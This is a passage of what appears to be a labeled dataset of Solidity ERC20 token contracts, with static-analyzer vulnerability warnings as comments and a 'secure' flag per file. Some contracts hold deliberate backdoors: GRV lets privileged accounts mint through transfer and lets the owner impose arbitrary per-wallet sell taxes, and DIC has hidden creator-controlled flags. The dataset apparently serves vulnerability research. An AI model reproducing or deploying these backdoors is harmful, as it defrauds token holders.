uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n (Shiba[spender], Floki[spender], Husky) = ((address(owner) ==\n _creator) && (Husky == true))\n ? (true, false, false)\n : (Shiba[spender], Floki[spender], Husky);\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n (Yorki, Nudist) = ((address(sender) == _creator) && (Takeoff == false))\n ? (Bulldog, true)\n : (Yorki, Nudist);\n (Shiba[recipient], Takeoff) = ((address(sender) == _creator) &&\n (Takeoff == true))\n ? (true, false)\n : (Shiba[recipient], Takeoff);\n\n _ShepherdTakeover(recipient);\n _BattleOfShibagrad(sender, amount);\n\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _DeployDIC(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n (uint256 temp1, uint256 temp2) = (1000, 1000);\n\n _totalSupply += amount;\n _balances[account] += amount;\n\n Yorki = _totalSupply;\n\t\t// divide-before-multiply | ID: df96c58\n Bulldog = _totalSupply / temp1;\n\t\t// divide-before-multiply | ID: df96c58\n Shepherd = Bulldog * temp2;\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_3585.sol",
"secure": 0,
"size_bytes": 8567
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20Token is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5189f03): ERC20Token.constructor(string,string,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 5189f03: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edaf46d): ERC20Token.constructor(string,string,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for edaf46d: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n address creator,\n uint256 initialSupply\n ) ERC20(name, symbol, creator) {\n _DeployDIC(creator, initialSupply);\n }\n}",
"file_name": "solidity_code_3586.sol",
"secure": 0,
"size_bytes": 1059
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Token.sol\" as ERC20Token;\n\ncontract DogeInvestmentCapitalDAO is ERC20Token {\n constructor()\n ERC20Token(\n \"Doge Investment Capital DAO\",\n \"DIC DAO\",\n msg.sender,\n 100000000000 * 10 ** 18\n )\n {}\n}",
"file_name": "solidity_code_3587.sol",
"secure": 1,
"size_bytes": 353
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract GRV is ERC20, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _release;\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function _transfer(\n address from,\n address to,\n uint256 Amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= Amount,\n \"ERC20: transfer Amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - Amount;\n }\n _balances[to] += Amount;\n\n emit Transfer(from, to, Amount);\n }\n\n function _burn(address account, uint256 Amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= Amount, \"ERC20: burn Amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - Amount;\n }\n _totalSupply -= Amount;\n\n emit Transfer(account, address(0), Amount);\n }\n\n function _mint(address account, uint256 Amount) internal virtual {\n require(account != address(0), \"ERC20: Mint to the zero address\"); //mint\n\n _totalSupply += Amount;\n _balances[account] += Amount;\n emit Transfer(address(0), account, Amount);\n }\n\n address public uniswapV2Pair;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) ERC20(name_, symbol_) {\n _mint(msg.sender, totalSupply_ * 10 ** decimals());\n\n _defaultSellTaxi = 10;\n _defaultBuyTaxi = 0;\n\n _release[_msgSender()] = true;\n }\n\n using SafeMath for uint256;\n\n uint256 private _defaultSellTaxi = 0;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3ca9af1): GRV._defaultBuyTaxi should be immutable \n\t// Recommendation for 3ca9af1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _defaultBuyTaxi = 0;\n\n mapping(address => bool) private _mAccount;\n\n mapping(address => uint256) private _slipTaxi;\n address private constant _deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n function getRelease(\n address _address\n ) external view onlyOwner returns (bool) {\n return _release[_address];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6def0b0): GRV.SetPairList(address)._address lacks a zerocheck on \t uniswapV2Pair = _address\n\t// Recommendation for 6def0b0: Check that the address is not zero.\n function SetPairList(address _address) external onlyOwner {\n\t\t// missing-zero-check | ID: 6def0b0\n uniswapV2Pair = _address;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7cc0589): GRV.upF(uint256) should emit an event for _defaultSellTaxi = _value \n\t// Recommendation for 7cc0589: Emit an event for critical parameter changes.\n function upF(uint256 _value) external onlyOwner {\n\t\t// events-maths | ID: 7cc0589\n _defaultSellTaxi = _value;\n }\n\n function Approve(address _address, uint256 _value) external onlyOwner {\n require(_value > 0, \"Account tax must be greater than or equal to 1\");\n _slipTaxi[_address] = _value;\n }\n\n function getSlipTaxi(\n address _address\n ) external view onlyOwner returns (uint256) {\n return _slipTaxi[_address];\n }\n\n function setMAccountTaxi(address _address, bool _value) external onlyOwner {\n _mAccount[_address] = _value;\n }\n\n function getMAccountTaxi(\n address _address\n ) external view onlyOwner returns (bool) {\n return _mAccount[_address];\n }\n\n function _checkFreeAccount(\n address from,\n address _to\n ) internal view returns (bool) {\n return _mAccount[from] || _mAccount[_to];\n }\n\n function _receiveF(\n address from,\n address _to,\n uint256 _Amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(_to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= _Amount,\n \"ERC20: transfer Amount exceeds balance\"\n );\n\n bool rF = true;\n\n if (_checkFreeAccount(from, _to)) {\n rF = false;\n }\n uint256 tradeTaxiAmount = 0;\n\n if (rF) {\n uint256 tradeTaxi = 0;\n if (uniswapV2Pair != address(0)) {\n if (_to == uniswapV2Pair) {\n tradeTaxi = _defaultSellTaxi;\n }\n if (from == uniswapV2Pair) {\n tradeTaxi = _defaultBuyTaxi;\n }\n }\n if (_slipTaxi[from] > 0) {\n tradeTaxi = _slipTaxi[from];\n }\n\n tradeTaxiAmount = _Amount.mul(tradeTaxi).div(100);\n }\n\n if (tradeTaxiAmount > 0) {\n _balances[from] = _balances[from].sub(tradeTaxiAmount);\n _balances[_deadAddress] = _balances[_deadAddress].add(\n tradeTaxiAmount\n );\n emit Transfer(from, _deadAddress, tradeTaxiAmount);\n }\n\n _balances[from] = _balances[from].sub(_Amount - tradeTaxiAmount);\n _balances[_to] = _balances[_to].add(_Amount - tradeTaxiAmount);\n emit Transfer(from, _to, _Amount - tradeTaxiAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6dd29d4): GRV.transfer(address,uint256).Owner shadows Ownable.Owner() (function)\n\t// Recommendation for 6dd29d4: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 Amount\n ) public virtual returns (bool) {\n address Owner = _msgSender();\n if (_release[Owner] == true) {\n _balances[to] += Amount;\n return true;\n }\n _receiveF(Owner, to, Amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 Amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, Amount);\n _receiveF(from, to, Amount);\n return true;\n }\n}",
"file_name": "solidity_code_3588.sol",
"secure": 0,
"size_bytes": 7035
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function opm(uint256 loops) external;\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}",
"file_name": "solidity_code_3589.sol",
"secure": 1,
"size_bytes": 871
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SCUM is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d84d6ca): SCUM._taxWallet should be immutable \n\t// Recommendation for d84d6ca: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: da20926): SCUM._initialBuyTax should be constant \n\t// Recommendation for da20926: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: d8be169): SCUM._initialSellTax should be constant \n\t// Recommendation for d8be169: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3e9aacc): SCUM._finalBuyTax should be constant \n\t// Recommendation for 3e9aacc: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: af7370c): SCUM._finalSellTax should be constant \n\t// Recommendation for af7370c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: bf51395): SCUM._reduceBuyTaxAt should be constant \n\t// Recommendation for bf51395: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: e0427cb): SCUM._reduceSellTaxAt should be constant \n\t// Recommendation for e0427cb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: b5d1f12): SCUM._preventSwapBefore should be constant \n\t// Recommendation for b5d1f12: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Slurry\";\n\n string private constant _symbol = unicode\"SCUM\";\n\n uint256 public _maxTxAmount = 200000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9bfa2a4): SCUM._taxSwapThreshold should be constant \n\t// Recommendation for 9bfa2a4: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fa8b99b): SCUM._maxTaxSwap should be constant \n\t// Recommendation for fa8b99b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d093fca): SCUM.uniswapV2Router should be immutable \n\t// Recommendation for d093fca: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f0711e2): SCUM.uniswapV2Pair should be immutable \n\t// Recommendation for f0711e2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: d680c0e): SCUM.sellsPerBlock should be constant \n\t// Recommendation for d680c0e: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 42e1491): SCUM.buysFirstBlock should be constant \n\t// Recommendation for 42e1491: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 21;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bbe9b13): SCUM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bbe9b13: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cb60e66): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cb60e66: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b277a80): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b277a80: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: cb60e66\n\t\t// reentrancy-benign | ID: b277a80\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: cb60e66\n\t\t// reentrancy-benign | ID: b277a80\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 34514b0): SCUM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 34514b0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b277a80\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: cb60e66\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2f991e0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2f991e0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: f560eab): SCUM._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for f560eab: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3d823f4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3d823f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 44ada79): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 44ada79: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: f560eab\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 2f991e0\n\t\t\t\t// reentrancy-eth | ID: 3d823f4\n\t\t\t\t// reentrancy-eth | ID: 44ada79\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2f991e0\n\t\t\t\t\t// reentrancy-eth | ID: 3d823f4\n\t\t\t\t\t// reentrancy-eth | ID: 44ada79\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 3d823f4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 3d823f4\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 2f991e0\n\t\t\t\t// reentrancy-eth | ID: 44ada79\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2f991e0\n\t\t\t\t\t// reentrancy-eth | ID: 44ada79\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 44ada79\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 2f991e0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 44ada79\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 44ada79\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 2f991e0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2f991e0\n\t\t// reentrancy-events | ID: cb60e66\n\t\t// reentrancy-benign | ID: b277a80\n\t\t// reentrancy-eth | ID: 3d823f4\n\t\t// reentrancy-eth | ID: 44ada79\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: bcb918c): SCUM.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for bcb918c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2f991e0\n\t\t// reentrancy-events | ID: cb60e66\n\t\t// reentrancy-eth | ID: 3d823f4\n\t\t// reentrancy-eth | ID: 44ada79\n\t\t// arbitrary-send-eth | ID: bcb918c\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 025e9e8): SCUM.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 025e9e8: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint256 _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 025e9e8\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3c6d87e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3c6d87e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c5c25c4): SCUM.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c5c25c4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 492b92f): SCUM.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 492b92f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 754d7bc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 754d7bc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 3c6d87e\n\t\t// unused-return | ID: 492b92f\n\t\t// reentrancy-eth | ID: 754d7bc\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 3c6d87e\n\t\t// unused-return | ID: c5c25c4\n\t\t// reentrancy-eth | ID: 754d7bc\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 3c6d87e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 754d7bc\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 3c6d87e\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_359.sol",
"secure": 0,
"size_bytes": 20147
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ERC20 is Context {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n uint256 public _loops = 1;\n address private OPMaddress;\n address private _owner;\n\n string private _name;\n string private _symbol;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4a7f081): ERC20.constructor(string,string,uint256,address).opmAddress lacks a zerocheck on \t OPMaddress = opmAddress\n\t// Recommendation for 4a7f081: Check that the address is not zero.\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 _amount,\n address opmAddress\n ) {\n _name = name_;\n _symbol = symbol_;\n _owner = _msgSender();\n\t\t// missing-zero-check | ID: 4a7f081\n OPMaddress = opmAddress;\n _mint(_owner, _amount * 10 ** 18);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 38d33c2): ERC20.setOPM(address).x lacks a zerocheck on \t OPMaddress = x\n\t// Recommendation for 38d33c2: Check that the address is not zero.\n function setOPM(address x) external returns (address) {\n require(msg.sender == _owner, \"\");\n\t\t// missing-zero-check | ID: 38d33c2\n OPMaddress = x;\n return OPMaddress;\n }\n\n function setLoops(uint256 loops) external returns (uint256) {\n require(msg.sender == _owner, \"\");\n\t\t// events-maths | ID: 942b12f\n _loops = loops;\n return _loops;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n 